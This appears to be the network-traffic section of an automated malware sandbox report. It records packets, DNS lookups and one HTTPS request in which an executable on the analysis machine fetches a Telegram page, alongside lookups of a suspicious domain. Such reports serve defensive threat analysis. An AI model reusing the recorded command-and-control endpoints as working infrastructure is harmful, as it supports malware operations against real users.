Dec 27, 2024 08:21:27.085872889 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.085918903 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.085998058 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.086245060 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:27.093271971 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:27.418076038 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.425216913 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.425234079 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.425329924 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.425618887 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:27.434010983 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:27.757549047 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.763930082 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.763993025 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.764101028 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:27.764425039 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:27.771951914 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:28.095228910 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.100650072 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.100667000 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.100811958 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.101057053 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:28.107808113 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:28.432259083 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.439891100 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.439908028 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.439959049 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.440296888 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:28.447681904 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:28.771002054 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.777606010 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.777631998 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.777713060 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:28.777894974 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:28.786104918 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:29.113688946 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.143362045 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:29.151195049 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.151264906 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.151500940 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:29.151595116 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.158071041 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:29.491173983 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.497555017 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.497601032 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.497682095 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.498007059 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:29.507046938 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:29.833797932 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.841655970 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.841730118 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.841762066 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:29.842065096 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:29.848988056 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:30.175587893 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.182495117 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.182507992 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.182585955 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.182801008 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:30.190578938 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:30.514457941 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.519653082 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.519687891 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.519768953 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.520205021 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:30.528140068 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:30.851594925 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.857844114 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.857853889 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.857920885 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:30.858259916 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:30.865207911 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:31.188668013 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.194638968 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.194658041 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.194745064 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.194973946 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:31.225521088 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:31.262849092 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:31.542234898 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.585952044 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.591286898 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.591353893 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.591433048 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.591659069 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:31.598532915 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:31.925749063 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.929059029 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.929187059 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.929303885 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:31.929465055 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:31.939480066 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:32.321450949 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:32.321464062 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:32.321475983 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:32.321485996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:32.321924925 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:32.330653906 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:32.657906055 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:32.663347006 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:32.663358927 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:32.663439035 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:32.663722038 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:32.670809031 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:32.996982098 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.002677917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.002707958 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.002770901 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.002962112 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:33.014682055 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:33.338254929 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.343385935 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.343437910 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.343496084 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.343724966 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:33.351000071 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:33.680109024 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.686942101 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.686952114 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.686983109 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:33.687259912 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:33.697072983 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:34.119179010 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.119193077 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.119241953 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.119340897 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.119677067 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:34.127094984 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:34.508039951 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.508054018 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.517857075 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.517875910 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.517972946 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.518188000 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:34.529195070 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:34.853252888 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.859534979 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.859587908 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.859671116 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.859680891 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:34.859798908 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:34.889683962 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:35.207969904 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:36.866702080 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:36.866859913 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:36.867054939 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:36.867136002 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:36.867191076 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:36.867281914 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.815097094 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.815175056 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.876816034 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.876935005 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.876987934 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.877257109 CET	55834	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:21:37.877414942 CET	51544	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:21:37.877481937 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.877521992 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.877592087 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.877621889 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.877758026 CET	62514	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:21:37.877892017 CET	55568	53	192.168.2.5	1.1.1.1
Dec 27, 2024 08:21:37.877980947 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:37.878019094 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.001734018 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.002302885 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.032926083 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.130649090 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.130659103 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.130675077 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.130686045 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.130974054 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.131042004 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.131072044 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.132061958 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.132169962 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.132683992 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.190855026 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.191009998 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.191019058 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.191025972 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.191083908 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.191174984 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.191188097 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.191239119 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.191359997 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.191385984 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.191493034 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.315918922 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.345449924 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.444500923 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:38.470511913 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:38.504391909 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:40.052908897 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:40.053008080 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:40.115166903 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:40.115257025 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:40.367533922 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:40.369204998 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:40.369324923 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:40.372571945 CET	59230	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:21:40.431365013 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:40.433626890 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:40.434765100 CET	443	59230	172.64.41.3	192.168.2.5
Dec 27, 2024 08:21:40.435007095 CET	59230	443	192.168.2.5	172.64.41.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 27, 2024 08:20:34.882188082 CET	192.168.2.5	1.1.1.1	c2b8	(Port unreachable)	Destination Unreachable
Dec 27, 2024 08:20:36.082954884 CET	192.168.2.5	1.1.1.1	c29b	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:19:58.425059080 CET	192.168.2.5	1.1.1.1	0x988b	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:00.714807034 CET	192.168.2.5	1.1.1.1	0xc174	Standard query (0)	bijutr.shop	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:17.431166887 CET	192.168.2.5	1.1.1.1	0x2a9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:17.431166887 CET	192.168.2.5	1.1.1.1	0x7054	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 27, 2024 08:20:34.195646048 CET	192.168.2.5	1.1.1.1	0x5ce3	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:34.195830107 CET	192.168.2.5	1.1.1.1	0x5d09	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 27, 2024 08:20:36.865259886 CET	192.168.2.5	1.1.1.1	0xccc6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:36.865539074 CET	192.168.2.5	1.1.1.1	0xda5a	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 27, 2024 08:20:37.849261045 CET	192.168.2.5	1.1.1.1	0xb969	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:37.849858046 CET	192.168.2.5	1.1.1.1	0xc33c	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 27, 2024 08:20:38.191853046 CET	192.168.2.5	1.1.1.1	0x9465	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.192117929 CET	192.168.2.5	1.1.1.1	0x5829	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 27, 2024 08:20:38.192800045 CET	192.168.2.5	1.1.1.1	0x1173	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.193042040 CET	192.168.2.5	1.1.1.1	0xa3a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 27, 2024 08:20:38.220659018 CET	192.168.2.5	1.1.1.1	0xd1b0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.220896006 CET	192.168.2.5	1.1.1.1	0x31be	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 27, 2024 08:20:41.535559893 CET	192.168.2.5	1.1.1.1	0x65e3	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:41.535777092 CET	192.168.2.5	1.1.1.1	0xb219	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Dec 27, 2024 08:20:41.549813986 CET	192.168.2.5	1.1.1.1	0x5910	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:41.550067902 CET	192.168.2.5	1.1.1.1	0xe26a	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 27, 2024 08:21:37.877257109 CET	192.168.2.5	1.1.1.1	0x1163	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:21:37.877414942 CET	192.168.2.5	1.1.1.1	0x72d5	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 27, 2024 08:21:37.877758026 CET	192.168.2.5	1.1.1.1	0xe735	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:21:37.877892017 CET	192.168.2.5	1.1.1.1	0x9c3	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:19:58.563771009 CET	1.1.1.1	192.168.2.5	0x988b	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:00.949089050 CET	1.1.1.1	192.168.2.5	0xc174	No error (0)	bijutr.shop		188.245.216.205	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:17.568036079 CET	1.1.1.1	192.168.2.5	0x2a9	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:17.569237947 CET	1.1.1.1	192.168.2.5	0x7054	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 27, 2024 08:20:34.332683086 CET	1.1.1.1	192.168.2.5	0x5ce3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:34.333406925 CET	1.1.1.1	192.168.2.5	0x5d09	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:34.803924084 CET	1.1.1.1	192.168.2.5	0xace	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:34.803924084 CET	1.1.1.1	192.168.2.5	0xace	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:34.882097960 CET	1.1.1.1	192.168.2.5	0x4d77	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:37.003519058 CET	1.1.1.1	192.168.2.5	0xda5a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:37.090673923 CET	1.1.1.1	192.168.2.5	0xccc6	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:37.986181974 CET	1.1.1.1	192.168.2.5	0xb969	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:37.986181974 CET	1.1.1.1	192.168.2.5	0xb969	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:37.986382961 CET	1.1.1.1	192.168.2.5	0xc33c	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:38.341435909 CET	1.1.1.1	192.168.2.5	0x9465	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.341435909 CET	1.1.1.1	192.168.2.5	0x9465	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.341459990 CET	1.1.1.1	192.168.2.5	0x5829	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 27, 2024 08:20:38.341470957 CET	1.1.1.1	192.168.2.5	0x1173	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.341470957 CET	1.1.1.1	192.168.2.5	0x1173	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.341481924 CET	1.1.1.1	192.168.2.5	0xa3a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 27, 2024 08:20:38.564251900 CET	1.1.1.1	192.168.2.5	0xd1b0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.564251900 CET	1.1.1.1	192.168.2.5	0xd1b0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:38.564275026 CET	1.1.1.1	192.168.2.5	0x31be	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 27, 2024 08:20:41.672926903 CET	1.1.1.1	192.168.2.5	0x65e3	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:41.672926903 CET	1.1.1.1	192.168.2.5	0x65e3	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:41.672926903 CET	1.1.1.1	192.168.2.5	0x65e3	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:41.672926903 CET	1.1.1.1	192.168.2.5	0x65e3	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:20:41.686876059 CET	1.1.1.1	192.168.2.5	0xe26a	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:20:41.687206984 CET	1.1.1.1	192.168.2.5	0x5910	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:21:38.015116930 CET	1.1.1.1	192.168.2.5	0xe735	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:21:38.015129089 CET	1.1.1.1	192.168.2.5	0x72d5	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:21:38.015275955 CET	1.1.1.1	192.168.2.5	0x9c3	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:21:38.108674049 CET	1.1.1.1	192.168.2.5	0x1163	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

bijutr.shop

www.google.com

chrome.cloudflare-dns.com

clients2.googleusercontent.com

https:

assets.msn.com

c.msn.com

sb.scorecardresearch.com

browser.events.data.msn.com

deff.nelreports.net

bzib.nelreports.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	149.154.167.99	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:00 UTC	85	OUT	GET /k04ael HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:00 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 27 Dec 2024 07:20:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12298 Connection: close Set-Cookie: stel_ssid=5d3530a1156df5b8f3_6504403435824906820; expires=Sat, 28 Dec 2024 07:20:00 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
